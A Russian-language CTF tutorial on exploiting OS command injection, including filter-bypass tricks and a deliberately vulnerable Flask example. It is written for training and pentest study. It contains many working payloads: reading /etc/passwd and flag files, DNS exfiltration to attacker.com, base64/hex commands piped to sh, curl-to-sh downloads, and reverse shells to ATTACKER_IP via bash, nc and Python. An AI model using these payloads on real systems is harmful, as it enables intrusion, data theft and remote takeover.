
На CTF-соревновании формата Jeopardy веб-таск за 300 очков: форма «DNS Lookup», одно поле, кнопка. Три участника из команды отправили 8.8.8.8; cat /flag.txt — ответ «Invalid input». Попробовали | cat /flag.txt — та же заглушка. Потратили 40 минут, пока один не додумался до $(cat${IFS}/flag.txt) — и флаг вернулся прямо в DNS-ответе. Вот она, разница между «знаю что такое command injection» и «умею эксплуатировать command injection через фильтры» — ноль очков против трёхсот. Ниже — полный разбор эксплуатации OS command injection в CTF: от обнаружения точки входа до reverse shell через самые злые фильтры.
Command injection — не академическое упражнение. В терминах MITRE ATT&CK цепочка через эту уязвимость собирается так: злоумышленник находит публичное веб-приложение с необработанным вводом — Exploit Public-Facing Application (T1190, Initial Access). Исполняет произвольные команды через Unix Shell (T1059.004, Execution) или Windows Command Shell (T1059.003, Execution). Закрепляется через Web Shell (T1505.003, Persistence), проводит разведку файловой системы — File and Directory Discovery (T1083, Discovery), собирает информацию о системе — System Information Discovery (T1082, Discovery) — и вытаскивает целевые данные — Data from Local System (T1005, Collection). Подробнее — в нашем материале про создание ctf заданий.
В реальном мире мотивация атакующего — получить RCE (remote code execution), закрепиться в инфраструктуре, эксфильтрировать данные или развернуть ransomware. В CTF всё проще — забрать флаг из файла или переменной окружения. Но техники переносимы один в один.
Согласно OWASP Top 10 2021, Injection-уязвимости сидят на третьей позиции (A03:2021) — сюда входят SQL, NoSQL, LDAP и OS command injection. При этом OS command injection опаснее code injection: атакующий выходит за рамки приложения и командует операционной системой напрямую. Код приложения исполняется интерпретатором с ограничениями runtime, а системная команда — оболочкой с привилегиями процесса. Почувствуйте разницу.
Уязвимость появляется, когда приложение передаёт пользовательский ввод в функцию, исполняющую системные команды. В Python это os.system(), subprocess.run() с shell=True, os.popen(). В PHP — system(), exec(), passthru(), shell_exec(), обратные кавычки. В Node.js — child_process.exec(). В C/C++ — system(), где обёртка над командой cat позволяла дописать произвольную команду через точку с запятой (классика из примеров OWASP).
Типичный уязвимый endpoint на Python — элементарнее некуда:
import os
from flask import request
@app.route('/ping')
def ping():
host = request.args.get('host')
output = os.popen(f"ping -c 1 {host}").read()
return output
Значение host подставляется в строку команды без валидации. Передаёшь 127.0.0.1; cat /etc/passwd — оболочка выполнит обе команды: сначала ping -c 1 127.0.0.1, затем cat /etc/passwd. Это тот самый сценарий из OWASP Command Injection: «Command injection attacks are possible largely due to insufficient input validation».
Не путайте command injection с code injection. При code injection злоумышленник внедряет код на языке приложения (Python, PHP, Ruby), который исполняется интерпретатором. При OS command injection команды уходят напрямую в shell — /bin/sh, /bin/bash, cmd.exe. Последствия шире: shell даёт доступ ко всей файловой системе, сетевым утилитам, процессам.
Прежде чем отправлять пейлоады, проверь наличие условий:
| Предусловие | Как проверить | Что ломает эксплуатацию |
|---|---|---|
| Приложение вызывает shell-функцию с пользовательским вводом | Анализ исходного кода, поведение endpoint'а | subprocess.run(["ping", host]) без shell=True — injection невозможен |
| Используется интерпретатор оболочки | Тестовые пейлоады с разделителями | Прямой вызов бинарника без оболочки (например, execvp в C) |
| Санитизация отсутствует или обходима | Отправка тестовых символов (;, |, $) |
shlex.quote() в Python, escapeshellarg() в PHP — безопасные обёртки |
В CTF-тасках предусловия обычно выполняются by design — задание создано для эксплуатации. В реальном пентесте каждое нужно подтвердить.
Выбор оператора — первое решение, от которого зависит, полетит пейлоад или нет. Полная таблица для Unix-шеллов:
| Оператор | Поведение | Когда использовать |
|---|---|---|
; |
Выполняет обе команды последовательно, независимо от результата | Базовый случай без фильтров |
&& |
Вторая команда выполняется только при успехе первой | Нужен валидный первый аргумент |
\|\| |
Вторая команда выполняется только при провале первой | Хочешь выполнить команду когда ping не прошёл |
\| |
Pipe: stdout первой команды → stdin второй | Передать данные между командами |
`cmd` |
Подстановка команды через обратные кавычки | Внутри строковых аргументов |
$(cmd) |
Подстановка команды (современный синтаксис) | Аналог backticks, поддерживает вложенность |
%0a / \n |
Newline — интерпретируется как новая команда | URL-параметры, когда ; отфильтрован |
На Windows замени ; на &, а && и || работают аналогично. Подстановка через обратные кавычки не работает в cmd.exe, но работает в PowerShell.
Практический подход к поиску command injection в веб-приложениях: начинай с ; id, затем пробуй | id, далее $(id). Если в ответе видишь uid= — injection подтверждён и ты работаешь с inline-выводом. Ответ пустой или неизменный — переходи к blind-техникам.
Ищи любой функционал, который очевидно взаимодействует с ОС: ping, traceroute, nslookup, конвертация файлов (PDF-генерация, ImageMagick), поиск по файловой системе, проверка доступности сервиса. В Burp Repeater перехвати запрос и изучи параметры. Параметры с именами host, ip, file, cmd, domain, path, url — первые кандидаты.
Не ограничивайся GET-параметрами. Command injection payloads могут проходить через POST-тело, HTTP-заголовки (особенно X-Forwarded-For, User-Agent — если приложение логирует их через shell-команду) и даже cookies. Веб-таски CTF command injection любят прятать уязвимый параметр не в самом очевидном месте — на то и CTF.
Отправь тестовый пейлоад: добавь ; sleep 5 к значению параметра. HTTP-ответ задержался на пять секунд — command injection подтверждён, даже без вывода в теле ответа. Классическая техника time-based blind injection.
Альтернатива: ; echo RANDOMTOKEN12345. Ищи строку RANDOMTOKEN12345 в ответе. Нашёл — у тебя есть inline-вывод, дальше всё проще. Эхо не работает? Попробуй подстановку $(echo RANDOMTOKEN12345) — результат подставится в оригинальную команду и может всплыть в сообщении об ошибке.
Подтвердив injection, собирай информацию о системе (System Information Discovery, T1082):
; id — под каким пользователем работает процесс (uid, gid, группы); uname -a — ядро, версия ОС, архитектура; ls -la / — структура корневой файловой системы (File and Directory Discovery, T1083); cat /etc/passwd — список пользователей; env — переменные окружения (в CTF флаг иногда валяется прямо в $FLAG); ps aux — запущенные процессы (могут подсказать другие сервисы)В веб-тасках CTF command injection флаг обычно хранится в файле — /flag.txt, /flag, /home/ctf/flag, /root/flag.txt. Пробуй последовательно:
; cat /flag.txt; cat /flag* — wildcard на случай нестандартного имени; find / -name "flag*" 2>/dev/null — рекурсивный поиск (утилита find из GTFOBins полезна вдвойне: и искать файлы, и исполнять команды через -exec); env | grep -i flag — проверка переменных окруженияЕсли cat заблокирован — используй tac, head -n 100, tail, less, nl, sort, base64 (последний выведет содержимое в base64, декодируешь локально).
Часто в CTF (и почти всегда на реальных серверах) вывод инъецированной команды не попадает в HTTP-ответ. Приложение показывает статичное «Ping successful» или «Operation complete» независимо от результата. Это blind (слепая) command injection, и тут нужны другие подходы.
Time-based — самый надёжный метод подтверждения. Пейлоад ; sleep 5 создаёт измеримую задержку. Для извлечения данных — бинарный оракул: ; if [ $(cut -c1 /flag.txt) = "C" ]; then sleep 3; fi. Задержка три секунды — первый символ флага равен «C». Перебор символ за символом автоматизируется Python-скриптом на requests за 15 минут: цикл по позиции, вложенный цикл по алфавиту, замер response.elapsed.total_seconds().
DNS exfiltration. Если сервер может делать DNS-запросы (а порт 53 редко блокируют), данные уходят через поддомен: ; nslookup $(cat /flag.txt | tr ' ' '-').attacker.com. На контролируемом DNS-сервере (или через interact.sh) видишь запрос с содержимым файла в имени поддомена. Работает даже через строгие файрволы — DNS-трафик нужен почти всем сервисам. Аналогичный приём: nslookup attacker.com или ping attacker.com — контролируешь attacker.com, видишь входящий запрос.
Запись в webroot. Знаешь путь к web-директории (обычно /var/www/html/ для Apache или /usr/share/nginx/html/ для Nginx)? Пишем: ; cat /flag.txt > /var/www/html/out.txt. Затем http://target/out.txt в браузере — и читаешь результат. Просто, но работает только когда процесс имеет права записи в webroot.
Вот тут начинается самое интересное. В современных веб-тасках CTF raw-пейлоады почти никогда не проходят — стоят фильтры на уровне приложения или WAF. Разберём техники обхода фильтров command injection от простых к хардкорным.
Пробел в blacklist? Заменяй:
${IFS} — встроенная переменная bash (Internal Field Separator), по умолчанию содержит пробел, табуляцию и перевод строки. Пример: cat${IFS}/flag.txt{cat,/flag.txt} — bash разворачивает brace expansion, запятая работает как разделитель аргументов$IFS$9 — $9 это пустой девятый позиционный параметр, комбинация корректно разделяет аргументы%09 — символ горизонтальной табуляции в URL-encoded виде, принимается shell как whitespaceBlacklist содержит cat, ls, flag или другие конкретные слова:
c'a't /flag.txt или c"a"t /flag.txt — shell игнорирует пустые кавычки и склеивает части в единую командуc\at /fl\ag.txt — экранирование разбивает слово для blacklist, но shell обрабатывает его корректноcat /fl?g.txt или /bin/c?t /flag* — подстановочные символы обходят exact-match фильтрыa=fl;b=ag;cat /$a$b.txt — слово «flag» не фигурирует в запросе целикомtac, head, tail, less, more, nl, sort, rev, xxd, od, base64 — если cat заблокирован, одна из них обычно доступнаКогда операторы цепочки (;, |, &) заблокированы:
%0a — в URL-параметрах перевод строки часто не попадает в blacklist. Shell интерпретирует его как разделитель команд$(cmd) — если $ и скобки доступны, подстановка работает даже без точки с запятой`cmd` — аналог $(), иногда проскакивают через фильтры, не учитывающие этот синтаксисСамый жёсткий сценарий: regex вида [a-zA-Z] блокирует любую букву в пользовательском вводе. Именно такой фильтр стоял в CTF-челлендже Dojo Challenge #36 на YesWeHack, где кастомная функция PreProd_Sanitize пропускала ввод без букв напрямую, а при обнаружении буквы оборачивала строку в одинарные кавычки с экранированием — выбраться из которых невозможно.
Решение — ANSI-C quoting. Синтаксис $'\NNN' позволяет задавать символы через восьмеричные коды. Shell интерпретирует $'\154\163' как ls, а $'\143\141\164' как cat. В пейлоаде нет ни одной буквы — regex не срабатывает, ввод проходит без санитизации:
# ls через ANSI-C quoting — ни одной буквы в пейлоаде
$'\154\163'
# cat /flag.txt — полностью в восьмеричных кодах
$'\143\141\164' $'\057\146\154\141\147\056\164\170\164'
Рецепт: для каждого символа команды получи восьмеричный код (через printf '%o' "'c" → 143), собери строку в формате $'\143\141\164' и подставь в пейлоад. Техника работает в bash, ash, zsh — то есть практически в любом CTF-окружении на Linux.
Если base64 и sh доступны на сервере, закодируй команду целиком: echo "cat /flag.txt" | base64 локально даёт Y2F0IC9mbGFnLnR4dA==. Пейлоад для injection: ; echo Y2F0IC9mbGFnLnR4dA== | base64 -d | sh. Слова cat и flag не появляются в запросе — blacklist по словам обойдён.
Аналогичный подход через hex: ; echo 636174202f666c61672e747874 | xxd -r -p | sh. Команда cat /flag.txt закодирована в hex-строку. Работает на системах с xxd (часть пакета vim).
Ручной перебор command injection payloads — лучший способ понять механику, но на CTF время жмёт. Commix — специализированный инструмент для автоматизации command injection эксплуатации. Запуск: commix --url="http://target/ping?host=INJECT_HERE" --technique=T --os-cmd="cat /flag.txt". Флаг --technique=T включает time-based blind injection. Для classic (inline-вывод) — --technique=C. Commix перебирает разделители, кодировки и обёртки автоматически — экономия десяти-пятнадцати минут на таске.
Burp Repeater незаменим для ручной отладки: отправил запрос, увидел ответ, скорректировал пейлоад. Для массового перебора — Burp Intruder с wordlist'ом bash command injection примеров или Python-скрипт на requests с замером response.elapsed.total_seconds() для blind-сценариев.
Захват флага — финишная прямая CTF-таска, но иногда флаг доступен только через интерактивную сессию (нужно запустить бинарник с аргументами или прочитать файл, доступный только определённому пользователю). Тогда нужен reverse shell — обратное подключение с сервера к твоей машине.
Классические варианты bash command injection для получения шелла:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1-e): nc ATTACKER_IP 4444 -e /bin/sh-e: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/fpython3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'Исходящие TCP заблокированы файрволом? Попробуй curl-based подход: размести скрипт на своём сервере, подтяни через curl http://ATTACKER_IP/shell.sh | sh. Альтернатива — DNS-туннели или ICMP-шеллы, когда стандартные порты закрыты.
После получения шелла стабилизируй его: python3 -c 'import pty; pty.spawn("/bin/bash")', затем Ctrl+Z, stty raw -echo; fg. Получаешь полноценный интерактивный терминал с автодополнением, историей команд и корректной обработкой Ctrl+C.
Даже опытные CTF-игроки наступают на одни и те же грабли.
Тестируют только один оператор. ; id не сработал — и сразу переключаются на другую уязвимость. А нужно пройти по всей таблице операторов: |, ||, &&, $(id), обратные кавычки, %0a. Каждый фильтр уникален, и тот оператор, что не прошёл первым, ничего не говорит об остальных.
Игнорируют кодировку URL. Символы &, #, +, пробел в URL-параметрах требуют URL-encoding. Отправляешь host=1; id в строке браузера — пробел превращается в +, точка с запятой может обрезаться. Работай через Burp Repeater или curl --data-urlencode.
Не проверяют stderr. Некоторые приложения возвращают только stdout, а stderr проглатывают. Перенаправление 2>&1 решает проблему: ; cat /flag.txt 2>&1.
Забывают про PATH. На минимальных Docker-контейнерах (Alpine, scratch) бинарники лежат не в стандартных местах. cat не найден — попробуй полный путь /bin/cat или /bin/busybox cat.
Навык обхода фильтров в command injection прямо коррелирует с результатами в web-категории CTF. Команды, которые тратят время на изучение ANSI-C quoting, hex/base64-обёрток и подстановок через переменные окружения, стабильно закрывают на два-три таска больше за тот же таймфрейм. Это не теория — это разница между 15-м и 3-м местом на Jeopardy.
Command injection — входная точка для понимания всей цепочки RCE в вебе. Освоив стабильное обнаружение и эксплуатацию CI, переход к server-side template injection, deserialization и другим RCE-векторам идёт проще — базовые принципы (передача ввода в небезопасную функцию, обход санитизации, blind-подтверждение) те же самые. Если хочешь не просто читать writeup'ы, а пройти эту прогрессию в лабах с ментором — на WAPT эту цепочку разбирают в нескольких модулях, от базового injection до полноценных кейсов с обходом WAF.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...